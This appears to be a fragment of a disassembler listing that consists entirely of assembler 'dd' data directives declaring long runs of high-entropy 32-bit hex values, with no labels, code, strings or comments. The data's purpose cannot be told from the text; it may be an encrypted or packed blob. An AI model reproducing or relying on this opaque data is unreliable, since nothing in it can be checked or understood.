		dd 0A4BAC046h, 6413E300h, 0D361F2A6h, 0B6E200F9h, 52465CBBh
		dd 0B0F55A2h, 52653F3Ch, 27D94C46h, 0CDC700F9h,	70477656h
		dd 9304628Dh, 0FC5BD188h, 2387F0D0h, 440F5055h,	0B65F163Bh
		dd 975C4051h, 4A861669h, 0BC34560Ch, 2C326178h,	584E528h
		dd 909246C7h, 2BB1BCA8h, 65100CBAh, 5C71753Ch, 4E802421h
		dd 1017B1DAh, 5B48A660h, 0F5B3353Fh, 16D50530h,	751DE5h
		dd 0E2152F30h, 8478F7D9h, 34B6C605h, 9042F01Fh,	0C0CFEC13h
		dd 39337C0h, 84F6243Ah,	210265C8h, 0AF058607h, 634481DCh
		dd 93EA4DBh, 0AC8F22E0h, 1589B60h, 0C81221D3h, 0DC43A656h
		dd 7472B59Ch, 10370149h, 0CA97EB3Ah, 5157F4F1h,	992C23FEh
		dd 0E9805C67h, 6E4CAE69h, 0F363007Fh, 5B2E7232h, 0C105B346h
		dd 0CB386001h, 0C7AFA607h, 0FF799170h, 9A3D2CE5h, 11E0054h
		dd 864DC8BAh, 4A57FE00h, 0B8A337F4h, 0E06B00A5h, 0AFE3B172h
		dd 160019E5h, 78922AF8h, 0E9819C41h, 507360h, 0D5E59472h
		dd 733BAD5Ah, 4BAA7B05h, 80807483h, 4B78B0E7h, 52B80031h
		dd 804D4727h, 807558h, 1AB01B3Bh, 0A8BA7A6Ah, 3A5D5F0h
		dd 9F95ED55h, 0CA54D3ECh, 0AE00D264h, 3153390Dh, 93DEA91h
		dd 0FF28A846h, 0E4DEE025h, 8C00C9BCh, 8D469865h, 72331DABh
		dd 0B83E261Ch, 44C2003Eh, 40147BECh, 0E08F941Ch, 0F4B15A87h
		dd 222D5750h, 0AE610045h, 9B2AA420h, 88725E49h,	69CD9300h
		dd 0DD9A5332h, 488300DFh, 0F5FC5810h, 9015E0Fh,	54F19FDCh
		dd 0DDD00C1Bh, 0AF240279h, 6E323762h, 0C7018458h, 7A337E6Fh
		dd 7D44A55h, 613A00AFh,	0E4B21789h, 4D582908h, 0BA9903A8h
		dd 0B04A699Fh, 97A3AEh,	358D370Ch, 221C2619h, 3DF85267h
		dd 939C8990h, 5CF00D7h,	0E9F6C69Ah, 0FE199FB4h,	4C88DCF1h
		dd 48FECD0h, 0B7ABA234h, 78CB06Eh, 0E600E4B0h, 29182EAFh
		dd 11604F5h, 5F9BE330h,	3FE7E821h, 19432820h, 0A653000Ch
		dd 49AF8ABDh, 0B004D610h, 35ACE6B3h, 9A4158D0h,	906173E3h
		dd 701B1787h, 40282058h, 8A4919BCh, 0B3AA01DCh,	437A9314h
		dd 7D8F4470h, 88714ED1h, 72023EB4h, 98EFB90Eh, 87E080C6h
		dd 0F89C8896h, 587C80h,	0A39F28DEh, 3FB78DA8h, 20772B00h
		dd 0E38F2DAAh, 14EE0227h, 79D629D7h, 0E082440h,	546AF604h
		dd 0D4809EF1h, 1380AEh,	62E259CBh, 21F033FAh, 0FF48F872h
		dd 0D07400CCh, 0B9F76C6h, 8F10C26Eh, 0B560E75Ch, 9E1D3794h
		dd 0CEC091BBh, 0E648C31Fh, 0ADFC60h, 0FB9C2705h, 0DB6D2C23h
		dd 0F7B1810Eh, 425E0056h, 1678E695h, 61E0C651h,	761BB48h
		dd 66B84CC0h, 0A2890040h, 192CB2EDh, 0CD0E4839h, 0A0F68005h
		dd 0DAB0372Eh, 3D100981h, 0B046554Eh, 0D514EF17h, 57719E04h
		dd 0DB09F4CBh, 0C43D46h, 66D18918h, 2E0AFE21h, 872F78h
		dd 0A73473CAh, 0FD5926EFh, 0DFE30924h, 2EEC60EDh, 1C808835h
		dd 60609684h, 0E31F6B6Ch, 7992401h, 0E7746F85h,	0C92E42Dh
		dd 0EC494D94h, 1E0D1C19h, 0A479E441h, 0A82F0502h, 9C595502h
		dd 0D4E0F9Eh, 0D1F38616h, 81C45AE8h, 640199A8h,	321E6600h
		dd 0E1F01B59h, 98E5ADAEh, 0CCD600E4h, 0F5C8971Eh, 70BC217h
		dd 0B712B1h, 0E4E1CA4Ch, 0D5B30090h, 887D34EFh,	0A81F5563h
		dd 5F481551h, 2756806Bh, 1D3F14E5h, 0FCEDBF15h,	0FBC3C080h
		dd 588647Bh, 500A1BDCh,	0D28B00CFh, 72EF4B03h, 41DAC700h
		dd 0BE0B7E5Eh, 0A8D74890h, 26553180h, 0ED0B5D09h, 80C05F81h
		dd 6765A044h, 9795008Ch, 85F51107h, 4B3E989Eh, 0C659007Fh
		dd 945A9D43h, 53F1013Fh, 2ABFF0C9h, 0AE10246Fh,	7505C770h
		dd 7007DDC3h, 6A64D687h, 0C540CC80h, 4D4E66h, 929D0474h
		dd 0C40C0BC6h, 0D9A48C9Ah, 5C7400F0h, 70BD657Dh, 643E5F4Ch
		dd 0DD878B13h, 249C48FEh, 30CAF451h, 0B939B3B2h, 1200F353h
		dd 95C825DAh, 342E46h, 8F9A5B3Ah, 0FB0F2AA8h, 68BE3F00h
		dd 0B1451FABh, 6BC2017Ah, 4D0422C3h, 0A428BF9Bh, 9600E4D4h
		dd 76ABE838h, 40C91603h, 2FA4029Dh, 0D507015Bh,	311F826h
		dd 8C24436Ah, 15E0F12Bh, 0C300F066h, 0A3E9720Ch, 0DF92D4h
		dd 3B2598Eh, 0DADE2933h, 9A388909h, 16190568h, 974E6C80h
		dd 662730D0h, 9D3D3011h, 0C1BFA601h, 0C68ADF34h, 302F0C24h
		dd 28F9F2E5h, 111298D7h, 0B4C3ECF0h, 1B82D0F8h,	97FF01A6h
		dd 4365F7EDh, 0BCF0416Ah, 404FD532h, 0CB14E3A4h, 1F99B93Bh
		dd 8BC02B20h, 3E24F27Fh
		dd 74700F4h, 3364DE9h, 1A015118h, 4A30801Eh, 0E5608F0Ch
		dd 15D81239h, 0AFD0C0E6h, 0CE3DDD61h, 0E44A03A2h, 0E809327Fh
		dd 3D702051h, 8301CF5Eh, 0CFD55B2h, 0A6C0DC73h,	815B1700h
		dd 53DA64EAh, 887A0186h, 4C63CDC9h, 0D203CC22h,	5AF7D4F1h
		dd 83AA3D00h, 3372BCE4h, 51770EDh, 5B0DE6A5h, 0BAEB80AFh
		dd 3700856Ch, 2D107F2Eh, 0E94C58Eh, 4FC6BB09h, 5EDA9700h
		dd 5008701h, 847C3F0Fh,	0BBB3E8h, 1B9A6916h, 6CAA910Bh
		dd 0C160F401h, 2EAC56C4h, 85DFE0h, 6B48FD70h, 64928F4Fh
		dd 2055C605h, 0C5C02E1Ah, 4C5487h, 6672EC88h, 8EB9A5AFh
		dd 0D88BC300h, 0E0628AD6h, 253000DAh, 55499E5h,	0A700CBB2h
		dd 0B8E2C2B6h, 0F017ACh, 571D7EE1h, 58193620h, 1E25A61Fh
		dd 54003B6Eh, 0C3286526h, 3C3DE0D4h, 8E00DAAEh,	605AEB76h
		dd 1102F35Eh, 0D2A7DEE0h, 4020DCE8h, 5EA423D1h,	0DF815400h
		dd 0C0D67F7Ah, 852500EEh, 3897B612h, 30169DD4h,	0BC04F642h
		dd 734449F8h, 944B881h,	4FEDB7h, 0BC186704h, 54580038h
		dd 8081FF4Ah, 0B0B6F55h, 0DA7F72h, 2F08A49Ch, 28B1EA8Ah
		dd 0BC20C6h, 0DBEB939Eh, 545A8134h, 0AC114101h,	4DC810D1h
		dd 0D2EC7190h, 0F770DD1Bh, 9F57FBA1h, 7E743F4h,	0A0046D7Ah
		dd 0D0F007C9h, 3059B8CCh, 5675D004h, 38C0ECAEh,	58BEB1h
		dd 192A4194h, 92FDA90Fh, 0F3518600h, 44163230h,	0C633057Fh
		dd 0A20EA029h, 4FF907F0h, 0FC9793F4h, 680D41C2h, 0DD7FF8h
		dd 0EC11A0A6h, 0E2D23996h, 0CDCBA90Ch, 15A867h,	4583FCA4h
		dd 0EBBB2893h, 5C8D5100h, 0B0A1F25Fh, 138FE83Fh, 0F0DFD52Eh
		dd 0F30081E4h, 0A163E1AEh, 0E82910C0h, 1127E91h, 65DE90EDh
		dd 0D0E162D0h, 16004F50h, 749A29ECh, 7D9FEC7h, 80C95423h
		dd 0A4A780C2h, 0B30E2C6h, 49D32170h, 0B6CF00F2h, 39450725h
		dd 0A816FD73h, 0A35BF3h, 0B58673B8h, 0B0676C98h, 308CD212h
		dd 83F18F8h, 6FB68784h,	0E28680F3h, 6300CB1Ah, 73D46DE4h
		dd 0B4AC3h, 0BB9BE31Ch,	2036E63Dh, 13888026h, 9C5F3300h
		dd 4CDFA513h, 12028855h, 28CB1661h, 43F2DCC0h, 8EC9700h
		dd 229FBD96h, 8B250074h, 47A0A55Eh, 0D500679Eh,	3C2D8F2h
		dd 0CDC7DDh, 0B92F54CBh, 0D23D8370h, 26D50F01h,	2E5E309Ch
		dd 638B5C68h, 93A0C8C3h, 5A906BB6h, 38710100h, 2CA6CACCh
		dd 0CE34008Eh, 0E6C31B90h, 0FD2F8FDBh, 1C10408Dh, 42DC0059h
		dd 89557F57h, 7B01D3BEh, 53DBC6A8h, 0D5C0CBF0h,	648E00F4h
		dd 789B820Eh, 0B24BD2E6h, 201F5CC5h, 31272D80h,	9D87E866h
		dd 15A2D08Fh, 1874817Dh, 2A426F40h, 38727521h, 6A000456h
		dd 159BE2FCh, 0A40E58B0h, 6076C1D1h, 65F2463h, 521A14EAh
		dd 2A02A856h, 9402BFC9h, 0A907C850h, 0AD61152Fh, 18BA6730h
		dd 0D713073Dh, 0D1E8F83Ah, 0C09A4DDAh, 84585ADEh, 530073AEh
		dd 2BC75147h, 9846B6h, 889C274Eh, 6ADF672Dh, 0A7F3E4FDh
		dd 94911100h, 4015985Ch, 18B7071Eh, 6E09ED99h, 0D8166E00h
		dd 4892B01Bh, 0F6C7F432h, 0C8C84073h, 68B70045h, 0F5B00B02h
		dd 0F300B26Ch, 0B697F44Eh, 254D005h, 76B7EEECh,	0DCE1F10Ah
		dd 0A2F4406Bh, 0A871F7ABh, 0E3CB7400h, 0C698C002h, 9D164C65h
		dd 0B6B19C0Eh, 67E4A740h, 1E714774h, 0F9E35512h, 9C068E00h
		dd 8171FAh, 9B66D1E1h, 6B2B62F0h, 0ECC80F05h, 0F0876CF2h
		dd 73DEE170h, 0F0FB8C6h, 37631505h, 0A400494Bh,	384557B8h
		dd 421F1277h, 3C80DF88h, 0A7434F2h, 0CC7507D2h,	0C0068662h
		dd 0C2736D6h, 7A9B6B00h, 4AE645C0h, 7D331631h, 0C7B7002Ch
		dd 6B8792A0h, 3B9C1C02h, 0C06C8860h, 0B6A381h, 0CDB363CCh
		dd 436609A2h, 38898D30h, 0AD1528h, 0EB715094h, 42B74A59h
		dd 86357C00h, 583C3D9Ch, 855501C1h, 0CF8FEC93h,	0AC2030F1h
		dd 5104A1B5h, 0F0CF9D4Fh, 4F2FE943h, 0DC8480D1h, 819017A1h
		dd 4C3A2200h, 0F284F5A6h, 0CF8725F6h, 9AB83D40h, 29D65B02h
		dd 60A127E3h, 42D41C20h, 15500DAh, 163A6DDFh, 496E00EAh
		dd 34C5FE3h, 9B1FCEF1h,	638560A4h, 3C8183AFh, 0D9E035ABh
		dd 2FFB39E4h, 0C1014D92h, 221F6500h, 8D9F07E4h,	5E409C32h
		dd 4A0C13h, 0D09EE6BEh,	609178C6h, 10C4870Eh, 0E4B1D317h
		dd 0AB80D069h, 310D98BBh, 427D1303h, 0D0363493h, 0F7A311h
		dd 0EBFE2A0h, 4D7821B7h, 7E55F500h, 5366B650h, 1F37F26Ch
		dd 4E07943Ah, 9982CE06h, 0FF002B80h, 76DC5B3h, 0C3BABB9Eh
		dd 8F4E81DEh, 0B0E070D5h, 5B26152Ch, 177BD400h,	2473E348h
		dd 88A5FBh, 245B2934h, 2676EE5Eh, 4C98FA2Ch, 0FCE04C07h
		dd 3815BBF1h, 128BE880h, 7C9F707Dh, 69972E00h, 0A72A3542h
		dd 0F72F3F7Bh, 81B516h,	7FADA50Fh, 1BEC3F9Ah, 0D397800h
		dd 160CE2C4h, 0C949002Ch, 816FBA34h, 5400423Ch,	3F707F20h
		dd 28100C56h, 0A05AFAh,	97614D15h, 9D88186Bh, 0CEEE9204h
		dd 2CF4ACFEh, 3FC00A1h,	4D4794B5h, 8F0FB379h, 0C0969739h
		dd 0BD82BC9Fh, 40060E05h, 0ECF0D01h, 0A7100EF6h, 8C82F9Ch
		dd 1D02A052h, 0C9AF12E7h, 0CC588Eh, 0C52862D6h,	1B06744Eh
		dd 3C824C5Bh, 3E1F197Fh, 0D5B7B842h, 0EF9C806Ch, 317AE1h
		dd 0A8CF5CDh, 8A4E0102h, 8068700h, 42B97B7Eh, 0E4490059h
		dd 90B2B84h, 0A20F7016h, 63A02DA8h, 0B7355D5Eh,	48DA9F52h
		dd 12DCB944h, 44DFCDh, 0E5619658h, 0E70104C3h, 71B23C9Eh
		dd 58308E7Ch, 0A2880C79h, 74C9C8B3h, 1B956912h,	1A00EFBCh
		dd 19C4D59Dh, 850C14B2h, 28A27D4Dh, 5F8C0CD3h, 6BE0A8BCh
		dd 60849D0Ch, 0F24211D1h, 0EBE000ECh, 0EEE52C9Ch, 0D47E3C7Ch
		dd 9F25E03h, 88DA79C4h,	0C772DDh, 849E1E83h, 481D788Dh
		dd 0CE02DD98h, 0D05599ABh, 64FCE09Bh, 49E679h, 0C68274A6h
		dd 62AEB270h, 0A2CFDC1Ch, 0F4519707h, 84E875C4h, 87DB4703h
		dd 44B0E12Ah, 0F6093506h, 0D01709BBh, 88EA01FCh, 0C980C2FEh
		dd 0EF69F0F0h, 6E205500h, 0CB7AA7D5h, 965302FCh, 0D628B7FDh
		dd 0C0DAB640h, 0C51B9A01h, 9C4407DFh, 58811CCh,	0D809756Ah
		dd 48408049h, 0E00E2666h, 0E0AB3768h, 95C1348Fh, 0C99000E8h
		dd 1F4CB4CBh, 2902DA67h, 0A80E6F2Ah, 90B493F6h,	5783422h
		dd 1EBE2F28h, 7A81F5Bh,	0C2D6FE7Fh, 1C42562Dh, 0A90150FAh
		dd 0C8A13AA0h, 6CF8F3D1h, 0CBD3029Eh, 0C503B564h, 811F0040h
		dd 80D66E00h, 4B85A5DEh, 3E8B88Ah, 228B110Ah, 65E0D777h
		dd 1A3A67DFh, 75321338h, 28170481h, 3C24443Ah, 0C63300C1h
		dd 6F11BC8Ah, 80BD60B4h, 0EEDC7591h, 8F00B5E3h,	0C02519D6h
		dd 759D24F1h, 0E42C0917h, 20C0FF59h, 38FFB321h,	0E71100E8h
		dd 4D70955Ch, 1CE402DBh, 0B2D967BFh, 9D01E4DEh,	6E1B91E6h
		dd 0E3F1EC8h, 0FFE4AF9Eh, 0C0EABE60h, 0C701B8C4h, 0ED6477D9h
		dd 904071BAh, 24402389h, 1B0E60h, 77CA929Bh, 5EE02457h
		dd 0E36E0100h, 737AA21Ah, 0A65187Bh, 535BF08Eh,	0B898344Bh
		dd 10651B4Bh, 0D68311D3h, 0D02950B0h, 210E058h,	894349E7h
		dd 2CE4DACAh, 934C584h,	6C870885h, 137C5065h, 0EA387982h
		dd 6920802Bh, 7796F770h, 72C0047h, 718C1CE8h, 0C117F95Eh
		dd 0DD0029B8h, 3A5C45FCh, 193F011Ah, 0B0DC0346h, 0E83C0EEh
		dd 6A00FAF4h, 0F264BB8Bh, 3E7224C9h, 29005FD5h,	3BFECF12h
		dd 67001445h, 0DAFC8CADh, 5CE32574h, 772C7418h,	0AB8780B4h
		dd 0EF0B03E8h, 0CF4A9F13h
		dd 91E19307h, 3D14F1F0h, 55301364h, 0B95CE0FCh,	0ECFBF300h
		dd 2E3C2685h, 89610044h, 0C8A6FE5Bh, 230487AEh,	0B3E1CDFDh
		dd 3E04CA0h, 65643E0Eh,	22F87774h, 0E1283812h, 0E81610B1h
		dd 8440643Fh, 0CF6CFCDEh, 700C04D9h, 0C02C80C3h, 6D1CD86Ch
		dd 0CAEC28F0h, 20D25537h, 0E8E4A4B0h, 0CD20A33Eh, 8EDEC7AEh
		dd 0FA243094h, 0E813812h, 0C49958BCh, 40A4ED77h, 3BAF1610h
		dd 39122305h, 4C48B2E1h, 70146018h, 0C580D3CFh,	0E6C63DD9h
		dd 1CDA1050h, 41D48DA6h, 0C5420504h, 8CE8FBE3h,	0F55CE770h
		dd 0FDE0008Eh, 667FE13Ah, 9481066Ch, 0D0480B33h, 68B35A1Fh
		dd 7C9234C0h, 0F01BADh,	3B7603Fh, 61A2BEDAh, 16D42F00h
		dd 0BD62F7A8h, 0B81A00DBh, 0A5129F4Dh, 5E0055DEh, 333A25C2h
		dd 7EEF684Bh, 1A7D1D1Bh, 0EEBD8E8Eh, 16AACA0h, 3F008106h
		dd 738FD5ABh, 0B88FD4Bh, 0CF627A6Eh, 0C4E0C40Fh, 899F2CFAh
		dd 220037EEh, 5380CB63h, 3B8F90h, 65C5966Ch, 38317498h
		dd 56FEC650h, 0AA927900h, 157A015h, 0DC3E00B1h,	0F162332Dh
		dd 181F3060h, 85FD885Dh, 5C1A7F82h, 0B4D6B400h,	2978B2h
		dd 353766Dh, 0A1D3B547h, 0ACDB0800h, 5123EA42h,	3004904Ah
		dd 0C390D78h, 0E9F29C4Ch, 0E4E1CB01h, 0A596DEEEh, 545A3570h
		dd 1287CCFFh, 0F681B0Dh, 5C40013Ch, 59E38BFDh, 472721C7h
		dd 0E42EDD7h, 608F80F3h, 3F9C1B29h, 0CB9E93F1h,	0A604005Fh
		dd 0CE5C8B4Ah, 69E9F500h, 0D26E2C7Ah, 80B51857h, 873058E1h
		dd 814D00E3h, 91BF0095h, 0EA8C6C88h, 5207E6D9h,	7F680423h
		dd 0CE7BFE20h, 4B143FE0h, 25A200FAh, 0F9DA7A1Ch, 5861428Ch
		dd 0E64F02A1h, 8AD438EDh, 0E9E100C8h, 0DD87F63Ch, 6E6ED68Bh
		dd 7BC26329h, 3193EFDAh, 0AE890090h, 84B59B66h,	1003A2Dh
		dd 0C30A8182h, 0C41A2DAh, 0DE0B4211h, 0E8009440h, 58FE7416h
		dd 1F5DBEEFh, 8724D6F7h, 0D3BA04D3h, 0D3A79BECh, 10080822h
		dd 60B9D0EEh, 0CF33CDC8h, 18C92444h, 415A26A8h,	0E82B029Eh
		dd 0FD0304D9h, 0E0DA0FF6h, 0B06FC4E2h, 21E960B3h, 22DC9C4Eh
		dd 1E2C4400h, 8573F2E4h, 600190E2h, 0D27E41B5h,	966090FFh
		dd 0C5FA2611h, 4E3B09Fh, 7585ED3Eh, 1078C468h, 0F3A3CA4h
		dd 0D7ECD10Ch, 6760B911h, 556270FCh, 5A5837DCh,	16215C08h
		dd 6D746F01h, 0E5829335h, 0C0F9499Eh, 48E71BE4h, 0D9C034F6h
		dd 6D96FD22h, 0CDD003BAh, 0CEA8AF9Ah, 210006A3h, 2196D4EFh
		dd 6A32B31h, 91D70290h,	0BE07C19Fh, 1D2027C9h, 25EE0850h
		dd 0EDFB18F6h, 0C45F21ABh, 0EAF5272Eh, 7E40241Fh, 7B786818h
		dd 7C640EEDh, 0C3DFD0BCh, 0EEA42D85h, 46FBC103h, 0E8F9F27Fh
		dd 0F8101799h, 480ACD2h, 70FF7466h, 0A58A615Ah,	746E1900h
		dd 1BAE0A03h, 4CF3EDA4h, 233F5939h, 20FB0E80h, 0B913309Fh
		dd 2FB35B00h, 0D699C282h, 0DACA1D39h, 0C0A971h,	0BEDF1508h
		dd 0BA0C068Dh, 82E6536h, 20DA603Dh, 38DF1DA9h, 8BC8301h
		dd 0AE91BECDh, 53A08050h, 0FEF70046h, 737B0C45h, 0B6001B08h
		dd 3134C604h, 0C33CB093h, 0A8652349h, 2EFD3915h, 752A00C0h
		dd 0F6ED585Dh, 0E470008Ah, 630E5A6Bh, 180A6D8Ch, 0CCDC080Dh
		dd 0D780D511h, 0EE1D2227h, 0CC11C8A2h, 0D26510A7h, 0B8210027h
		dd 44900AA5h, 7D00165Eh, 0F24E6F84h, 0B8EBB97Eh, 0C46C0028h
		dd 23C20757h, 50A18F6Dh, 39801405h, 3067041h, 0D06412F4h
		dd 0A2A82A0Bh, 0B4EA4340h, 7B3E2D00h, 7435905Eh, 0D858A10Ch
		dd 2708CA18h, 0C4F61D23h, 0D15E46ABh, 0E3F50CD0h, 4BA07D81h
		dd 2FFDFA18h, 709089h, 0E4667BC0h, 43C2B7BBh, 6B947A17h
		dd 0F853D00h, 494A91C8h, 3850C403h, 250084EDh, 6B056948h
		dd 34C2B30h, 581FE263h,	0F8222F07h, 44B48719h, 0F54B60ADh
		dd 2B05027Ch, 1461AE63h, 0EC84F04Ah, 754060C4h,	6A7023D9h
		dd 1701D411h, 3C357468h, 65AEC056h, 0EDC32402h,	0A02DF6C7h
		dd 0F57A1A84h, 89390037h, 0FBE17B43h, 67249988h, 70A868B5h
		dd 20026846h, 1E8DCBDFh, 0A2100B31h, 1DF8DF48h,	0E1D9AE00h
		dd 6B17FBD0h, 4A9CA0D2h, 852800EBh, 93DA1F81h, 42E97883h
		dd 21307534h, 468DF6DFh, 1192226h, 71DF49A5h, 50A191C5h
		dd 7EF892A0h, 9CD4EE28h, 91900C44h, 0B5833C94h,	0E0CB421Ah
		dd 67F845A8h, 5100D8FCh, 30632904h, 0A841EDD7h,	55F6F9A0h
		dd 0FAD09438h, 52AE0F72h, 118C9C22h, 25099719h,	0FDA60536h
		dd 0DD12FC01h, 0E3FFC4BAh, 0CBD41100h, 7FFE58FAh, 8E030E48h
		dd 0D0C1620Fh, 33F9692Dh, 0AC5849D8h, 72880F99h, 0EEE1C4C5h
		dd 0F4FA20CAh, 0F7B6A9Fh, 0E4ED3818h, 795D751h,	1F632C3Ah
		dd 295AA0F2h, 0B20A3B40h, 0C0A19ADAh, 1F606F64h, 8D21BCDFh
		dd 47A7C016h, 0BB005ADFh, 0FA5D1F82h, 609821F2h, 0C6E240E1h
		dd 88B112F3h, 398E2D0Dh, 184F8E0h, 85988DAAh, 50FC61BBh
		dd 9F1D81D4h, 0C5C1626Eh, 0B420FDFBh, 0F9A84Bh,	39A5F4ABh
		dd 58D68F24h, 0A31B7100h, 0C4C914D8h, 0E8C490F9h, 0E1FC66h
		dd 626E41D5h, 306C24DDh, 859A3300h, 1FF2E756h, 5E59C003h
		dd 30DEF0F8h, 98096918h, 17E7CA0h, 6F973BAFh, 0CF91AE9Bh
		dd 2644C900h, 2DAB4EA4h, 19F90601h, 0B028A9A7h,	0C44A087h
		dd 921DAE60h, 6561B060h, 1248C73Fh, 2A8AD6Ah, 6D8FD499h
		dd 3407E461h, 48CCB84h,	1D2427BDh, 20A962DEh, 0A027C85Bh
		dd 0E0218F00h, 9DA5AF77h, 944250FCh, 0B73D013Fh, 73855032h
		dd 8799C591h, 2D171339h, 0EBF9E490h, 32E2007Ah,	0D2CF7E0Dh
		dd 6E3247D4h, 419308D3h, 89521E3h, 400508D8h, 0C0E923CAh
		dd 0B868FD60h, 0FD90F3Eh, 0D7E71C28h, 96D32860h, 0A0BA1063h
		dd 0E717C4CEh, 96CAF500h, 611FE30Ah, 0C480462Fh, 0F86A43F3h
		dd 0F937AF9h, 310CCDE4h, 90DC2236h, 37C5A890h, 435F8B0Eh
		dd 748521BFh, 0B820D67Dh, 6C7D8CC8h, 8A70FD08h,	21D56656h
		dd 0D8E21B7Fh, 5B37F20Bh, 0D2130107h, 3C329222h, 7F2C7B00h
		dd 146798B2h, 0E0DFF0A8h, 0AF80EA1Ch, 26D37540h, 0A85BE5h
		dd 76825041h, 55D857A9h, 74461C90h, 0BFDF2402h,	1631FE8Dh
		dd 0DF1CA610h, 1804CDEAh, 766E8784h, 0B1880C8Eh, 306956C0h
		dd 0E9DE6162h, 503BFDF9h, 7971BDCCh, 1ABDDA50h,	18758C16h
		dd 0C472F000h, 3011DC99h, 693907EDh, 0F600527Ah, 2D602CDFh
		dd 0CEE006h, 8B49053Bh,	0FB787784h, 8871C50Bh, 80283734h
		dd 0E56FE3ECh, 905CDB6Eh, 0FD418098h, 0FB9F3BAh, 69B5F42Ah
		dd 0B65EF180h, 0FE96AD45h, 0C68E419h, 0BF13C22h, 0A60CE8h
		dd 0E5C813BEh, 80595D61h, 83201D07h, 27E4B717h,	1FB4DCh
		dd 2F4C9C7Ch, 2CCDCA53h, 39513703h, 0A1AF10E6h,	7430882Eh
		dd 0B7191C80h, 1841F76Fh, 0C298C387h, 52037B01h, 3FBC2C28h
		dd 7E2708Ch, 0F7A0F586h, 6A3023DDh, 0F21961A6h,	67E1311Dh
		dd 4200442Dh, 64E23B55h, 41020EF4h, 0B71D03E4h,	5CC4649Ah
		dd 0F504A0FAh, 41351CF3h, 85802B2Dh, 402D69F1h,	1939010h
		dd 0F12295D9h, 0D8CFA23Eh, 1E1E778Fh, 0C9B69B44h, 5804977Ch
		dd 27C060D6h, 0E61D1015h, 0C764B0FAh, 39C40527h, 4BE66531h
		dd 30163868h, 0D260F964h, 2127BC60h, 99C61D25h,	5810AA3Ch
		dd 630027D3h, 0FC17B17Eh, 5C6F9125h, 610C544Ah,	0D9E08F30h
		dd 994358B8h, 0BE2DC52h, 722D5A30h, 49B5889h, 0C3ECE180h
		dd 0CF02A447h, 0F33FDBC4h, 33985216h, 52290D67h, 71FABAA0h
		dd 93F0C400h, 0B79A7E60h
		dd 0DB3C1211h, 0B34820B6h, 0A1C8A5D9h, 0DF23C06Bh, 0F64C8DC0h
		dd 0CB9BE02Ch, 8B8A02DFh, 0EC5E7E7Fh, 0BD01F044h, 48EEB5AAh
		dd 35CC18F9h, 1E8BF6AEh, 824F7DB9h, 0C48C6CCBh,	0C801442h
		dd 0C5C06E4Bh, 4C5CD498h, 875422D0h, 608044FCh,	97E8BC3h
		dd 842C4B0Bh, 0BD00D064h, 0C630A86Eh, 65359Bh, 0F4158759h
		dd 51D5537Ah, 9740CC9Ch, 3EB6C42h, 6F22F219h, 0B998B849h
		dd 0C4A4B7A4h, 82FD863Dh, 178079C7h, 29D140FAh,	7829DD84h
		dd 1383BE00h, 4490C78Fh, 0F0D6DC02h, 0C170E5ACh, 2883C9AFh
		dd 9E6EDB99h, 17FA28A0h, 639EA491h, 68180600h, 2CF99C7Ah
		dd 5E4410C4h, 286A5EEh,	0A68B1A86h, 4CE45823h, 25AE9327h
		dd 28CD20DCh, 77B95F8h,	0C5B26153h, 8FC2605Ch, 449F69Ah
		dd 0C7280730h, 36609010h, 0B6D8278h, 0EA7D7C5Dh, 0C8B89580h
		dd 7E15079Fh, 942367h, 0FC6C5C38h, 839785h, 0AD64863Eh
		dd 0A45923CFh, 0E4BB48A0h, 0F014C588h, 594A3DA5h, 48C9BF19h
		dd 2100CF67h, 86D1A482h, 50D0DDF4h, 9361CAAh, 0B8260318h
		dd 0F60BF044h, 7664F27Eh, 0E98F0103h, 200E3005h, 217062D8h
		dd 0A701F87Fh, 1BCD85BBh, 0E9802CFDh, 9077B052h, 0E12F98Ch
		dd 14E8F828h, 6C4F8D01h, 32F01B39h, 14A000C4h, 1D32233Fh
		dd 0F2E50CFEh, 2D493A1Ch, 29D86A30h, 282F06Fh, 85AAB3ECh
		dd 2864926Eh, 89A32B00h, 57334451h, 0D5873D40h,	78E57600h
		dd 90EB345Dh, 17256A00h, 0DE58FD48h, 480B716Ch,	0A1001088h
		dd 8265D49Eh, 0F3267D1Eh, 721D3C83h, 22610302h,	0A0445Bh
		dd 2832541Eh, 0A699A2C1h, 8AEC430h, 3EAF05Fh, 206C1946h
		dd 0F1A0187Ch, 347C5AAAh, 5E13901Fh, 5C91A800h,	1F3585B4h
		dd 380F303h, 813EB202h,	1079EEA3h, 61D7E500h, 8C3B111Dh
		dd 0B3BE00F5h, 8FED6974h, 0B6033525h, 0E65F2F46h, 1E03A081h
		dd 51F0047h, 609175E2h,	1437E720h, 0F4E3061h, 69007F9Ch
		dd 367846A6h, 8D840EF7h, 8385EA4Eh, 7A64244Dh, 8C9FEF04h
		dd 8E108783h, 52E3A100h, 7A9BFAF6h, 0C9F10066h,	54B7DC4Eh
		dd 920D38CEh, 41CF99E1h, 71F0F4h, 53465930h, 51CE2DC8h
		dd 21C026E8h, 8971C70Fh, 8D920072h, 0F1CF93D6h,	880CA175h
		dd 28B1321Bh, 6ADC0039h, 91A356A2h, 3B30F631h, 88AE709Ah
		dd 0A92E6732h, 0FDD38182h, 641180C8h, 2794579Bh, 1DB2FA05h
		dd 1AB81541h, 0DD21BEh,	6A310656h, 0A42F00F4h, 0ABDC1770h
		dd 80A896B5h, 6B003EEDh, 5B82B099h, 3F33F168h, 78D3BB4Eh
		dd 0CA3024A2h, 470600B0h, 63DF13DEh, 6E6FBBCEh,	0A4F510h
		dd 0C48B0E17h, 6027A34Ch, 0CBC1B1C5h, 0F000E0D8h, 642A09C9h
		dd 56C6CFh, 0FF161A3Eh,	0A914064Fh, 0B7E27700h,	0D221ABB2h
		dd 88C8C3A5h, 4905B349h, 0B1DF2439h, 1B80A800h,	37B708FBh
		dd 0F221C1ACh, 80907EB6h, 0CF00EC16h, 30C126EAh, 1D7CCA2h
		dd 3706B7CBh, 402F8992h, 0E7E691Ch, 47E09C41h, 0E1A0604Eh
		dd 0BAA8F48Dh, 0B1A1BD18h, 694621h, 6D484962h, 152F95C1h
		dd 9D44C374h, 8F7A00EFh, 8C76C598h, 19DF3A79h, 870BB486h
		dd 0C04AFCA1h, 0ABD20619h, 83017B51h, 445FDB10h, 29866C34h
		dd 0A9CA6E99h, 0B7243300h, 0BCA36A18h, 941E3E66h, 4E8AEB00h
		dd 242B9BFBh, 202E6430h, 482471Fh, 1ACB99BBh, 7C4F0120h
		dd 0A0473C39h, 0B2E9CFh, 703E3504h, 4FF0C1DEh, 40A9601Bh
		dd 7D18AFE0h, 9427212Ah, 1308A860h, 505B587Fh, 43738CA3h
		dd 631B009Ch, 0F53D47EBh, 4B448494h, 626C00EDh,	79C25DE1h
